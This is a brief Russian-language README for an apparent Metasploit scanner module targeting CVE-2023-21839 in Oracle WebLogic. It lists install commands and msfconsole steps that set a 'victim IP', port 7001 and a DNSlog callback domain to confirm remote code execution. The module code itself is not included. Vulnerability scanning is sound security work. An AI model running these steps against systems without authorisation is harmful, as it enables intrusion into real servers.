CVE-2023-21839-metasploit-сканер

Использование

git clone https://github.com/kurehalin/CVE-2023-21839-metasploit-scanner
cd CVE-2023-21839-metasploit-scanner
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp weblogic_iiop_rce.py ~/.msf4/modules/auxiliary/scanner/http
chmod +x ~/.msf4/modules/auxiliary/scanner/http/weblogic_iiop_rce.py
msfconsole

Использование POC

use auxiliary/scanner/http/weblogic_iiop_rce
set rhost <ip жертвы>
set rport 7001
set verify_dnslog <ваш конкретный домен dnslog>
run

Результат

Ссылки

• https://github.com/4ra1n/CVE-2023-21839
• https://github.com/houqe/POC_CVE-2023-21839